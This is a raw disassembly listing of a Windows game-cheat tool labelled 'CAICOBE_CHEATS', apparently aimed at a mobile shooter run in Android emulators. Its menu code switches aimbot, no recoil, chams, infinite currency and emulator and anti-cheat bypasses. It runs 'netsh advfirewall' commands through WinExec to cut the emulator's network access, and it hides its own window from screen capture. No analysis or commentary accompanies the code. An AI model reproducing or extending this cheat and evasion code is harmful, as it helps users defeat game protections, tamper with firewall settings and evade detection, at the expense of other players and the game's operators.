call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, xmm8
mulss xmm0, xmm7
addss xmm0, dword [0x140255700]
comiss xmm9, xmm0
jbe 0x14004b2f8
movaps xmm1, xmm9
jmp 0x14004b300
movaps xmm1, xmm10
minss xmm1, xmm0
ucomiss xmm6, xmm9
movss dword [0x140255700], xmm1
jp 0x14004b324
jne 0x14004b324
ucomiss xmm1, xmm9
jp 0x14004b324
jne 0x14004b324
mov eax, dword [0x1402556f0]
mov dword [0x1402556ec], eax
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x348]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
mov byte [rax + 0x139], 1
addss xmm0, dword [0x140159aec]
addss xmm1, xmm13
movss dword [rax + 0xfc], xmm0
movss dword [rax + 0xf8], xmm1
movss xmm0, dword [rcx + 0x37e0]
add rcx, 0x47f8
mov rax, qword [rbp + 0x48]
movss dword [rbp + 0x34c], xmm0
mulss xmm6, dword [rax + 0x37e0]
xor eax, eax
mov dword [rbp + 0x348], eax
call fcn.14001e470
mov rax, qword [rsp + 0x68]
movss dword [rax + 0x37e0], xmm6
mov eax, dword [0x1402556ec]
test eax, eax
jne 0x14004b5e9
call fcn.140015ea0
lea rdx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x440e0000
lea rcx, str.Segurity
mov dword [rbp + 0x1b4], 0x43eb0000
call fcn.14000bf10
lea rdx, [0x14028bad0]
lea rcx, str.Star_Bypass
call fcn.1400307b0
test al, al
je 0x14004b42e
cmp byte [0x14028bad0], 0
je 0x14004b43e
cmp byte [0x14028b794], 0
jne 0x14004b43e
mov byte [0x14028b794], 1
call fcn.1400461a0
jmp 0x14004b43e
cmp byte [0x14028bad0], 0
jne 0x14004b43e
mov byte [0x14028b794], 0
lea rdx, [0x1402556bd]
lea rcx, str.Block_Internet
call fcn.1400307b0
lea rdx, [0x14028b796]
mov byte [0x1402556ba], al
lea rcx, str.Bypass_Emulador
call fcn.1400307b0
test al, al
je 0x14004b49f
cmp byte [0x14028b796], 1
jne 0x14004b49f
lea rdx, [0x140045ef0]
lea rcx, [rbp + 0x500]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x508], 0
jne 0x14004c9bb
mov rcx, qword [0x1402556c0]
cmp byte [rcx + 0x48c3], 0
mov r9, qword [rcx + 0x3ea0]
je 0x14004b4eb
cmp byte [rcx + 0x48c2], 0
jne 0x14004b4eb
test byte [rcx + 0x4740], 4
jne 0x14004b5cb
mov eax, dword [rcx + 0x4888]
cmp eax, dword [rcx + 0x473c]
jne 0x14004b5cb
test eax, eax
jne 0x14004b5b3
jmp 0x14004b5cb
mov eax, dword [rcx + 0x4744]
test al, 1
je 0x14004b5cb
cmp qword [rcx + 0x3ea8], r9
je 0x14004b50a
test al, al
jns 0x14004b5cb
mov eax, dword [rcx + 0x3f00]
test eax, eax
je 0x14004b52f
cmp eax, dword [rcx + 0x473c]
je 0x14004b52f
cmp byte [rcx + 0x3f0d], 0
jne 0x14004b52f
cmp eax, dword [r9 + 0x74]
jne 0x14004b5cb
mov rdx, qword [rcx + 0x4880]
test rdx, rdx
je 0x14004b594
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14004b594
cmp byte [rdx + 0xaf], 0
je 0x14004b594
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14004b594
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14004b56e
bt r8d, 0x1a
jae 0x14004b594
cmp qword [rax + 0x370], rdx
je 0x14004b594
cmp rax, rdx
je 0x14004b594
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x14004b577
test dword [rcx + 0x4740], 0x100
je 0x14004b5cb
test byte [rcx + 0x4740], 4
jne 0x14004b5cb
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x473c], eax
jne 0x14004b5b3
cmp byte [r9 + 0xb0], 0
jne 0x14004b5cb
xor ecx, ecx
call fcn.140016e10
lea rcx, str.Activar_Login_usar_solo_con_aimbot_y_chams
call fcn.14002daf0
call fcn.140016fb0
lea rdx, [0x1402556bf]
lea rcx, str.Steam_Mode
call fcn.1400307b0
mov byte [0x140255705], al
jmp 0x14004bad3
cmp eax, 1
jne 0x14004ba14
call fcn.140015ea0
lea rdx, [rbp + 0x1b8]
mov dword [rbp + 0x1b8], 0x43900000
lea rcx, str.Aimbots
mov dword [rbp + 0x1bc], 0x434d0000
call fcn.14000bf10
lea r8, [0x14028b468]
lea rdx, [0x1402556f4]
lea rcx, str.Aimbot_Head
call fcn.14002c580
call fcn.14000c020
lea rdx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x43900000
lea rcx, str.Extras
mov dword [rbp + 0x1c4], 0x43e28000
call fcn.14000bf10
lea rdx, [0x14028b7a6]
lea rcx, str.Moneda_Infinita
call fcn.1400307b0
test al, al
je 0x14004b6bf
cmp byte [0x14028b7a6], 0
je 0x14004b6cf
cmp byte [0x14028b795], 0
jne 0x14004b6cf
lea rdx, [0x140046360]
mov byte [0x14028b795], 1
lea rcx, [rbp + 0x510]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x518], 0
je 0x14004b6cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x14028b7a6], 0
jne 0x14004b6cf
mov byte [0x14028b795], 0
lea rdx, [0x14028b790]
lea rcx, str.Verificado
call fcn.1400307b0
test al, al
je 0x14004b72a
cmp byte [0x14028b790], 0
je 0x14004b73a
cmp byte [0x14028b799], 0
jne 0x14004b73a
lea rdx, [0x1400461e0]
mov byte [0x14028b799], 1
lea rcx, [rbp + 0x520]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x528], 0
je 0x14004b73a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x14028b790], 0
jne 0x14004b73a
mov byte [0x14028b799], 0
lea rdx, [0x14028bad1]
lea rcx, str.Aimfov_180
call fcn.1400307b0
test al, al
je 0x14004b795
cmp byte [0x14028bad1], 0
je 0x14004b7a5
cmp byte [0x14028b793], 0
jne 0x14004b7a5
lea rdx, [0x140046260]
mov byte [0x14028b793], 1
lea rcx, [rbp + 0x530]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x538], 0
je 0x14004b7a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x14028bad1], 0
jne 0x14004b7a5
mov byte [0x14028b793], 0
lea rdx, [0x14028b46c]
lea rcx, str.No_Recoil
call fcn.1400307b0
test al, al
je 0x14004b800
cmp byte [0x14028b46c], 0
je 0x14004b810
cmp byte [0x14028b792], 0
jne 0x14004b810
lea rdx, [0x1400462e0]
mov byte [0x14028b792], 1
lea rcx, [rbp + 0x540]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x548], 0
je 0x14004b810
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x14028b46c], 0
jne 0x14004b810
mov byte [0x14028b792], 0
call fcn.14000c020
call fcn.140015ff0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140015c40
call fcn.140015ea0
lea rdx, [rbp + 0x1c8]
mov dword [rbp + 0x1c8], 0x43900000
lea rcx, str.Menu_Sniper
mov dword [rbp + 0x1cc], 0x434d0000
call fcn.14000bf10
lea rdx, [0x1402556bc]
lea rcx, str.Awm_Scope
call fcn.1400307b0
test al, al
je 0x14004b8ae
cmp byte [0x1402556bc], 0
je 0x14004b8be
cmp byte [0x14028b791], 0
jne 0x14004b8be
lea rdx, [0x140046360]
mov byte [0x14028b791], 1
lea rcx, [rbp + 0x550]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x558], 0
je 0x14004b8be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x1402556bc], 0
jne 0x14004b8be
mov byte [0x14028b791], 0
lea rdx, [0x140255704]
lea rcx, str.Scope_Track_AWM
call fcn.1400307b0
test al, al
je 0x14004b919
cmp byte [0x140255704], 0
je 0x14004b929
cmp byte [0x14028b7a5], 0
jne 0x14004b929
lea rdx, [0x140046460]
mov byte [0x14028b7a5], 1
lea rcx, [rbp + 0x590]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x598], 0
je 0x14004b929
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x140255704], 0
jne 0x14004b929
mov byte [0x14028b7a5], 0
lea rdx, [0x14028bad2]
lea rcx, str.Cambio_Rapido
call fcn.1400307b0
test al, al
je 0x14004b984
cmp byte [0x14028bad2], 0
je 0x14004b994
cmp byte [0x14028b7ac], 0
jne 0x14004b994
lea rdx, [0x1400463e0]
mov byte [0x14028b7ac], 1
lea rcx, [rbp + 0x560]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x568], 0
je 0x14004b994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x14028bad2], 0
jne 0x14004b994
mov byte [0x14028b7ac], 0
lea rdx, [0x14028b798]
lea rcx, str.Dilay_Awm
call fcn.1400307b0
test al, al
je 0x14004b9fb
cmp byte [0x14028b798], 0
je 0x14004bad3
cmp byte [0x14028b797], 0
jne 0x14004bad3
lea rdx, [0x1400463e0]
mov byte [0x14028b797], 1
lea rcx, [rbp + 0x570]
call fcn.14004e070
mov rcx, rax
call fcn.140042f40
cmp dword [rbp + 0x578], 0
je 0x14004bad3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x14028b798], 0
jne 0x14004bad3
mov byte [0x14028b797], 0
jmp 0x14004bad3
cmp eax, 2
jne 0x14004ba88
call fcn.140015ea0
lea rdx, [rbp + 0x1d0]
mov dword [rbp + 0x1d0], 0x43900000
lea rcx, str.Visuales
mov dword [rbp + 0x1d4], 0x43e28000
call fcn.14000bf10
lea rdx, [0x14028b79a]
lea rcx, str.MENU_CHAMS
call fcn.1400307b0
test al, al
je 0x14004ba6a
cmp byte [0x14028b79a], 1
jne 0x14004ba6a
call fcn.140046580
call fcn.14000c020
call fcn.140015ff0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140015c40
call fcn.140015ea0
jmp 0x14004bad8
cmp eax, 3
jne 0x14004badd
call fcn.140015ea0
lea rdx, [rbp + 0x1d8]
mov dword [rbp + 0x1d8], 0x43900000
lea rcx, str.Teclas_Rapidas
mov dword [rbp + 0x1dc], 0x43e28000
call fcn.14000bf10
lea r8, [0x14028b79c]
lea rdx, [0x1402557f4]
lea rcx, str.Camara_Derecha
call fcn.14002c580
call fcn.14000c020
call fcn.140015ff0
mov rcx, qword [0x1402556c0]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, xmm13
addss xmm0, dword [0x140159b20]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
movabs rax, 0x7fffffffffffffff
mov rcx, qword [0x140254898]
sub rax, rcx
cmp rax, 8
jb 0x14004ca01
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rax, [0x140254888]
mov qword [rsp + 0x30], rcx
lea r9, str.Status:
cmova rax, qword [0x140254888]
lea r8, [0x140254888]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x130]
movzx edx, r15b
mov qword [rsp + 0x20], 8
call fcn.140037470
cmp qword [rbp + 0x148], 0xf
lea rcx, [rbp + 0x130]
cmova rcx, qword [rbp + 0x130]
call fcn.14002daf0
mov ecx, 1
call fcn.140004880
mov rcx, qword [0x1402556c0]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, xmm11
addss xmm0, dword [0x140159b1c]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
movabs rax, 0x7fffffffffffffff
mov rcx, qword [0x140276a90]
sub rax, rcx
cmp rax, 0xa
jb 0x14004ca01
cmp qword [0x140276a98], 0xf
lea rax, [0x140276a80]
mov qword [rsp + 0x30], rcx
lea r9, str.Usuario_:
cmova rax, qword [0x140276a80]
lea r8, [0x140276a80]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0xc0]
movzx edx, r12b
mov qword [rsp + 0x20], 0xa
call fcn.140037470
cmp qword [rbp + 0xd8], 0xf
lea rcx, [rbp + 0xc0]
cmova rcx, qword [rbp + 0xc0]
call fcn.14002daf0
mov rcx, qword [0x1402556c0]
lea rdx, [0x140276b38]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, [rbp + 0xe0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, xmm11
addss xmm0, xmm15
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.14004d7c0
cmp qword [rbp + 0xf8], 0xf
lea rcx, [rbp + 0xe0]
cmova rcx, qword [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x340], rcx
lea rcx, [rbp + 0x340]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.Vence:__d__m__Y
mov edx, reloc.WS2_32.dll_sendto
mov r9, rax
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rcx, [rbp - 0x70]
call fcn.14002daf0
xor eax, eax
mov qword [rbp + 0x60], 0xffffffffffffffff
cmp qword [0x14028b3f8], rax
mov qword [rbp + 0x68], 0xffffffffffffffff
mov qword [rbp + 0x70], 0xffffffffffffffff
mov qword [rbp + 0x78], 0xffffffffffffffff
mov dword [rbp + 0x80], 0xffffffff
mov qword [rbp + 0x84], 0xfffffffffffffffd
mov dword [rbp + 0x8c], 0xffffffff
mov qword [rbp + 0x90], rax
jne 0x14004bddb
mov qword [rsp + 0x30], rax
lea rcx, [0x14028b3f8]
mov qword [rsp + 0x28], rcx
lea r9, [rbp + 0x60]
mov rcx, qword [0x14028b450]
lea rdx, [0x140179690]
mov r8d, 0xb81b9
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x14004be12
mov r8d, 0xfd8
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
movss xmm0, dword [0x14028b7a0]
addss xmm0, dword [rax + 0x18]
movss dword [0x14028b7a0], xmm0
mulss xmm0, dword [0x140159a58]
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
mov rax, qword [rsp + 0x68]
movaps xmm6, xmm0
mulss xmm6, xmm14
cmp dword [rax + 0x4870], 0
addss xmm6, xmm14
jg 0x14004be6e
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400082a0
mulss xmm6, dword [0x140159b10]
lea r9, [rbp + 0x1f0]
mov rdx, qword [0x14028b3f8]
lea r8, [rbp + 0x1f8]
mov dword [rbp + 0x1e0], 0x3f800000
mov dword [rbp + 0x1e4], 0x3f800000
cvttss2si ecx, xmm6
mov qword [rbp + 0x1e8], 0
mov dword [rbp + 0x1f0], 0x43110000
mov dword [rbp + 0x1f4], 0x43f18000
mov dword [rbp + 0x1f8], 0x41a00000
mov dword [rbp + 0x1fc], 0x43820000
shl ecx, 0x18
or ecx, 0xffffff
mov dword [rsp + 0x30], ecx
lea rcx, [rbp + 0x1e0]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x1e8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140023940
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x14004bf52
mov r8d, 0xfd8
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
movss xmm0, dword [0x14028b7a8]
addss xmm0, dword [rax + 0x18]
movss dword [0x14028b7a8], xmm0
mulss xmm0, dword [0x140159a60]
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
mov rax, qword [rbp + 0x228]
movaps xmm6, xmm0
andps xmm6, xmmword [0x14015a160]
mov rcx, rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x20], rax
test rax, rax
jne 0x14004bfe0
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax + 0x68]
test rcx, rcx
jne 0x14004bfd8
mov rax, qword [rax + 0x58]
add rax, 0x58
mov qword [rbp + 0x48], rax
cmp dword [rax], ecx
jg 0x14004bfd1
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbp + 0x48]
mov rax, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rbp + 0x48], rcx
mov qword [rbp + 0x20], rcx
call fcn.1400121b0
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x48]
add rcx, 0x4808
call fcn.14001e7d0
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax + 0x40]
mov rax, qword [rsp + 0x68]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x3ea0]
mov rcx, qword [rcx + 0x290]
call fcn.140020ce0
mov rax, qword [0x1402556c0]
lea rdx, [rbp + 0x330]
xor ecx, ecx
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x330], ecx
movss xmm0, dword [rax + 0x37e0]
lea rcx, [rax + 0x47f8]
movss dword [rbp + 0x334], xmm0
call fcn.14001e470
mov rax, qword [rbp + 0x48]
lea rcx, [rbp + 0x2a8]
movss dword [rax + 0x37e0], xmm6
movss xmm1, dword [0x14028bb94]
movss xmm0, dword [0x14028bb90]
mov rax, qword [0x1402556c0]
movss dword [rbp + 0x2ac], xmm1
movss xmm1, dword [0x14028bb9c]
movss dword [rbp + 0x2a8], xmm0
mulss xmm1, dword [rax + 0x37e0]
movss xmm0, dword [0x14028bb98]
movss dword [rbp + 0x2b0], xmm0
movss dword [rbp + 0x2b4], xmm1
call fcn.140004260
movss xmm0, dword [rbp - 0x50]
mov ecx, eax
movss xmm1, dword [rbp - 0x4c]
addss xmm0, xmm13
mov rdx, qword [rbp + 0x228]
addss xmm1, xmm11
mov dword [rbp + 0x20], eax
mov rax, rdx
mov qword [rbp - 0x50], rdx
movss dword [rbp + 0x200], xmm0
movss dword [rbp + 0x204], xmm1
test ecx, 0xff000000
je 0x14004c19c
test rdx, rdx
mov rdx, qword [rbp - 0x28]
jne 0x14004c113
mov rax, qword [rdx + 0x38]
mov rax, qword [rax + 8]
mov qword [rbp - 0x50], rax
mov rcx, qword [rax + 0x40]
mov rax, qword [rdx + 0x98]
cmp qword [rcx + 8], rax
je 0x14004c13e
mov r8d, 0x65b
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rbp - 0x28]
lea rax, [0x140158f66]
movss xmm2, dword [0x140159adc]
lea r9, [rbp + 0x200]
mov byte [rsp + 0x48], 0
mov rdx, rcx
movss dword [rsp + 0x40], xmm9
movups xmm0, xmmword [rcx + 0x88]
mov rcx, qword [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, str.CAICOBE_CHEATS
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x20], eax
movups xmmword [rbp + 0x48], xmm0
call fcn.1400272c0
mov ecx, 1
call fcn.140004880
call fcn.1400122d0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
mov dword [rbp - 0x28], r8d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4325c53f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x7a
sub r8d, ecx
mov dword [rbp + 0x20], r8d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x3159721f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xa6
sub r8d, ecx
mov eax, r8d
mov dword [rsp + 0x68], r8d
or eax, 0xffffc800
shl eax, 8
or eax, dword [rbp + 0x20]
shl eax, 8
or dword [rbp - 0x28], eax
mov rax, qword [0x1402556c0]
mov qword [rbp - 0x50], rax
cmp dword [rax + 0x4870], 0
jg 0x14004c26a
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbp - 0x50]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400082a0
movd xmm6, dword [rsp + 0x68]
lea rcx, [rbp + 0x2b8]
movd xmm7, dword [rbp - 0x28]
mov r10, rax
cvtdq2ps xmm6, xmm6
mov dword [rbp + 0x208], 0x443e0000
mov dword [rbp + 0x20c], 0x44020000
mov qword [rbp + 0x210], 0
cvtdq2ps xmm7, xmm7
mulss xmm6, dword [0x1401599b8]
mulss xmm7, dword [0x1401599b8]
movss dword [rbp + 0x2b8], xmm6
movss dword [rbp + 0x2c0], xmm6
movss dword [rbp + 0x2bc], xmm7
movss dword [rbp + 0x2c4], xmm6
call fcn.140004260
movss xmm0, dword [0x140159a44]
lea r8, [rbp + 0x208]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x210]
movss xmm0, dword [0x140159aa0]
mov r9d, eax
mov rcx, r10
movss dword [rsp + 0x20], xmm0
call fcn.140023430
mov rax, qword [0x1402556c0]
mov qword [rbp - 0x50], rax
cmp dword [rax + 0x4870], 0
jg 0x14004c358
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbp - 0x50]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400082a0
lea rcx, [rbp + 0x2c8]
movss dword [rbp + 0x2c8], xmm6
movss dword [rbp + 0x2cc], xmm7
mov r10, rax
movss dword [rbp + 0x2d0], xmm6
movss dword [rbp + 0x2d4], xmm6
mov dword [rbp + 0x218], 0x43250000
mov dword [rbp + 0x21c], 0x44020000
mov qword [rbp + 0x220], 0x43250000
call fcn.140004260
movss xmm0, dword [0x140159a40]
lea r8, [rbp + 0x218]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x220]
mov rcx, r10
call fcn.1400232d0
cmp byte [0x1402556ba], 0
je 0x14004c526
xor edx, edx
cmp byte [0x1402556bd], dl
je 0x14004c4bb
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Desactivado_Internet_
jmp 0x14004c51a
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Activado_Internet_
lea rcx, [0x140254888]
call fcn.140036ae0
cmp byte [0x140255705], 0
je 0x14004c66e
cmp byte [0x1402556bf], 0
je 0x14004c5d5
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor eax, eax
xor ecx, ecx
mov qword [rbp + 0xb0], rax
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0xb0]
xor edx, edx
lea r9, [0x14011e120]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, [0x14011e130]
